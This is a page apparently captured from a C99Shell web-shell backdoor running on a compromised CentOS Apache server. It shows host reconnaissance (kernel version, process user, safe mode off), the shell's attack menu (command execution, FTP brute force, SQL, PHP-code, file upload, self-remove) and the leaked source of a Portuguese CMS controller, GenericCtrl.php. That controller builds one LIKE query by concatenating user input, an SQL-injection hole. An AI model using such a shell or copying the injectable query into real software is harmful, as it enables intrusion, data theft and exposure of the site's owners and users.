!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.25 GB of 93.48 GB (9.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GenericCtrl.php (12.88 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


require_once(APP_PATH."/controller/BaseController.php");
require_once(
APP_PATH."/cms/IPanelConfig.php");
require_once(
APP_PATH."/util/Util.php");


class 
GenericCtrl extends BaseController {

    var 
$model "";


    
/**
     * Construtor principal
     * Inicia a classe principal de controle informando o Modelo Atual
     */
    
public function __construct($model=null) {
        
$this->model $model;
        
parent::setConnection($this->model);
    }
    

    
    
/*
     * Salva o usuário na base de dados
     *
     * @param Usuario  object       Usuário a ser salvo
     *
     * @return boolean
     */

     
public function save($object){
        
$util = new Util();
        
//$config = new AreaConfig($this->model);
        
if($config->getParameter("image") != null){
            
$object->imagem $util->trataNomeArquivo($object->imagem);
        }
        if(
$object->id 0) {  
             
$object->replace(); 
             
$objectId $object->id;
        }else{
             
$object->save();
             
$objectId $this->getLastId();
        }       
        return 
true;
    }


    
/*
     * Retorna a lista de objetos de acordo com os parâmetros da busca
     *
     * @param String   $field       Nome do campo a ser pesquisado
     * @param Object   $value       Valor a ser comparado
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Campo a ser usado na ordenação
     *
     * @return array
     */
    
public function getObjects($field=""$value=""$paged=false$limit=0$offset=0$order="id DESC"$column "*") {
        
$q Doctrine_Query::create()->select($column)->from($this->model." x");
        if(!empty(
$field)){
            
$q->where("x.".$field." LIKE ?"'%'.$value.'%');
         }
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if(
$order == "RAND()"){
            
$q->orderBy("rand()");
        }else{
            
$q->orderBy("x.".$order);
        }

        
$result $q->fetchArray();
        return 
$result;
    }

    public function 
getTotalObjects($field ""$value="") {
        
$q Doctrine_Query::create()->select("count(*) as total")
                                     ->
from($this->model." x");
        if(!empty(
$field)){
            
$q->where("x.".$field." LIKE ?"$value.'%');
        }
        
$result $q->fetchArray();
        return 
$result[0]['total'];
    }
    
/*
     * Retorna a lista de objetos de acordo com os parâmetros da busca informados
     * no formulário de pesquisa do IPanel
     *
     * @param String   $field       Nome do campo a ser pesquisado
     * @param Object   $valueIni    Valor Inicial a ser comparado
     * @param Object   $valueEnd    Valor Final a ser comparado
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Campo a ser usado na ordenação
     *
     * @return array
     */
    
public function getObjectsIPanel($field=""$valueIni=""$valueEnd=""$paged=false$limit=0$offset=0$order="id DESC") {
        
$q Doctrine_Query::create()->from($this->model." x");
        if(!empty(
$valueEnd)){
            
$q->where("x.".$field." >= ?"$valueIni);
            
$q->addWhere("x.".$field." <= ?"$valueEnd);
        }else{
            
$q->where("x.".$field." LIKE ?"'%'.$valueIni.'%');
         }
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if(
$order == "RAND()"){
            
$q->orderBy("rand()");
        }else{
            
$q->orderBy("x.".$order);
        }

        
$result $q->fetchArray();
        return 
$result;
    }



    
/**
     * Retorna o(s) objeto(s) através dos campos informados
     * @param Array    $fields      Array com os nomes dos campos a serem pesquisados
     * @param Array    $values      Array com os valores a serem comparados
     * @param Array    $operators   Array com os tipos de operação
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Ordenação do resultado
     *
     * @return mixed
     */
    
public function getObjectsByAdvancedSearch($fields$values$operators$paged=false$limit=0$offset=0$order=0) {
        
$q Doctrine_Query::create()->select("x.*");
        for (
$x 0$x count($fields); $x++){
            
$field $fields[$x]['field'];
            
$valueIni $values[$x]['valueIni'];
            
$valueEnd $values[$x]['valueEnd'];

            if(
$values[$x]['valueIni']){
                if(
$operators[$x]['operator'] == "EQUALS"){
                    
$q->andWhere("x.".$field." = ?"$values[$x]['valueIni']);
                }
                if(
$operators[$x]['operator'] == "LIKE"){
                    
$q->andWhere("x.".$field." LIKE '%".$values[$x]['valueIni']."%'");
                }
                if(
$operators[$x]['operator'] == "BETWEEN"){
                    
$q->andWhere("x.".$field." >= ?"$values[$x]['valueIni']);
                    
$q->andWhere("x.".$field." <= ?"$values[$x]['valueEnd']);
                }
            }
        }
        
$q->from($this->modelName " x");
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if(
$order){
            
$q->orderBy($order);
        }

        
$result $q->fetchArray();
        return 
$result;
    }


    
/*
     * Retorna a lista de objetos de acordo com a letra inicial do campo
     *
     * @param String   $field       Nome do campo a ser pesquisado
     * @param Object   $letter      Letra a ser comparada
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Campo a ser usado na ordenação
     *
     * @return array
     */
    
public function getObjectsByStartLetter($field=""$letter=""$paged=false$limit=0$offset=0$order="id DESC") {
        
$q Doctrine_Query::create()->from($this->model." x");
        if(!empty(
$field)){
            
$q->where("x.".$field." LIKE ?"$letter.'%');
         }
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if(
$order == "RAND()"){
            
$q->orderBy("rand()");
        }else{
            
$q->orderBy("x.".$order);
        }

        
$result $q->fetchArray();
        return 
$result;
    }


    
/*
     * Retorna a lista de objetos de acordo com os parâmetros da busca
     *
     * @param String   $field       Nome do campo a ser pesquisado
     * @param Object   $value       Valor a ser comparado
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Campo a ser usado na ordenação
     *
     * @return array
     */
    
public function getStatusList() {
        
$q Doctrine_Query::create()->select("count(*) as total, status")
                                     ->
from($this->model." x")
                                     ->
groupBy("x.status");
        
$count 0;
        
$result $q->fetchArray();
        
$arrayReturn = array();
        foreach(
$result as $object){
            
$count++;
            
$arrayReturn[$count]["total"] = $object["total"];
            
$arrayReturn[$count]["status"] = $object["status"];
        }
        return 
$arrayReturn;
    }



    
/**
     * Função para exibir a imagem do registro indicado de acordo com o prefixo fornecido
     *
     * @param object     Objeto a ser verificado
     * @param prefix     Prefixo usado na imagem
     * @return String
     */
    
public function showImage($object$prefix$startUrl=""$startUrlTestImage=""){
        
$config = new IPanelConfig($this->modelName);
    echo 
"<script>console.log(" json_encode($this->modelName) . ");</script>";
    echo 
"<script>console.log(" json_encode($config) . ");</script>";
        
$url "ipanel/uploads/".$config->getParameter("uploads.folder");
    echo 
"<script>console.log(" json_encode($url) . ");</script>";
        if(
$prefix != ""){
            if(
file_exists($startUrlTestImage.$url."/".$object['id']."/".$prefix.'.jpg')){
                
$image $startUrl.$url."/".$object['id']."/".$prefix.'.jpg';
            }else if(
file_exists($startUrlTestImage.$url."/".$object['id']."/".$prefix.'.png')){
                
$image $startUrl.$url."/".$object['id']."/".$prefix.'.png';
            }
            else{
                
$image $startUrl.$url."/".$object['id']."/".$object['imagem'];
            }
        }else{
            
$image $startUrl.$url."/".$object['id']."/".$object['imagem'];
        }
        return 
$image;
    }

    
/**
     * Função para exibir a imagem do registro indicado de acordo com o prefixo fornecido
     *
     * @param object     Objeto a ser verificado
     * @param prefix     Prefixo usado na imagem
     * @return Boolean
     */
    
public function hasImage($object$prefix$startUrl=""$startUrlTestImage=""){
        
$config = new IPanelConfig($this->modelName);
        
$url "ipanel/uploads/".$config->getParameter("uploads.folder");
        if(
file_exists($startUrlTestImage.$url."/".$object['id']."/".$prefix.'.jpg') || 
                
file_exists($startUrlTestImage.$url."/".$object['id']."/".$prefix.'.png')){
            return 
true;
        }else{
            return 
false;
        }
    }    


    
/**
     * Função para exibir a imagem do registro indicado de acordo com o prefixo fornecido
     *
     * @param object     Objeto a ser verificado
     * @param prefix     Prefixo usado na imagem
     * @return Boolean
     */
    
public function hasImages($object){
        
$control = new GenericCtrl("Foto");
        
$config = new IPanelConfig($this->modelName);
        
$folder $config->getParameter("uploads.folder");
        
$fotos $control->getObjectByFields(array("local""regId"), array($folder$object['id']));
        if(
count($fotos) > 0){
            return 
true;
        }else{
            return 
false;
        }
    }


    
/**
     * Função para retornar a lista de fotos de determinado registro
     *
     * @param id     Código do registro
     * @return Array
     */
    
public function getImages($id){
        
$control = new GenericCtrl("Foto");
        
$config = new IPanelConfig($this->modelName);
        
$folder $config->getParameter("uploads.folder");
        
$uploadFolder =  "ipanel/uploads/".$folder."/".$id."/";
        
$fotos $control->getObjectByFields(array("local""regId"), array($folder$id));
        
$arrayFotos = array();
        
$count 0;
        foreach(
$fotos as $foto){
            
$count++;
            
$arrayFotos[$count]['thumb'] = $uploadFolder."thumb_".$foto['nome'];
            
$arrayFotos[$count]['big']   = $uploadFolder."big_".$foto['nome'];
            
$arrayFotos[$count]['legenda'] = $foto['legenda'];
        }
        return 
$arrayFotos;
    }
     public function 
showImageEvento($object$prefix$startUrl=""$startUrlTestImage=""){
        
$config = new IPanelConfig($this->modelName);
        
$url "ipanel/uploads/".$config->getParameter("uploads.folder");
        if(
$prefix != ""){
            if(
file_exists($startUrlTestImage.$url."/".$object['id']."/".$prefix.'.jpg')){
                
$image $startUrl.$url."/".$object['id']."/".$prefix.'.jpg';
            }elseif(
file_exists($startUrlTestImage.$url."/".$object['id']."/".$prefix.'.gif')){
                
$image $startUrl.$url."/".$object['id']."/".$prefix.'.gif';
            }else{
                
$image $startUrl.$url."/".$object['id']."/".$object['imagem'];
            }
        }else{
            
$image $startUrl.$url."/".$object['id']."/".$object['imagem'];
        }
        return 
$image;
    }
    
    


}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0039 ]--